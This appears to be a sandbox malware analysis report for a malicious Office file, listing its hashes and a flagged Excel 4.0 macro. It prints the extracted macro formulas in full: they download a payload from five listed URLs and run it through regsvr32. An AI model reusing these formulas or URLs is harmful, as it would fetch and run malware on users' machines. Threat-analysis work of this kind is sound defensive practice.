General
-
Target
b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21
-
Size
46KB
-
MD5
1d0ae7c32b03acddbbc25b8b22f0f1f8
-
SHA1
9c28dfbb95ade01bd67c98d756b6c3584dd4d0b5
-
SHA256
b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21
-
SHA512
44c74cbcb20878c280a756326880c1e73f0a45c75da55964385c51d1b880c086741928f8c5b0540b568b727d25670091bb0e072feec36c5a2a8321b082ca46f5
-
SSDEEP
768:X5WHFKfQzXTmbfRzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+UP6UCIHcX:XwF+OXabfFtT5fTR4Lh1NisFYBc3cr+z
Malware Config
Extracted
http://nataliapereira.com/wp-admin/pE8xYY3x6p/
http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/
http://hellocloudgurusgerald.com/wp-content/iXYx/
https://ramijabali.com/licenses/0/
https://africa-roadworks.com/lilo-bard/vk3GSY7/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://nataliapereira.com/wp-admin/pE8xYY3x6p/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://annewelshsalon.com/wp-admin/2c9l2o1/cWWAzTVQ/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hellocloudgurusgerald.com/wp-content/iXYx/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/0/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://africa-roadworks.com/lilo-bard/vk3GSY7/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
b9fb685c6798605b90ac09b9f7f79e8c7005fe6692dfd96e35c49cf780692a21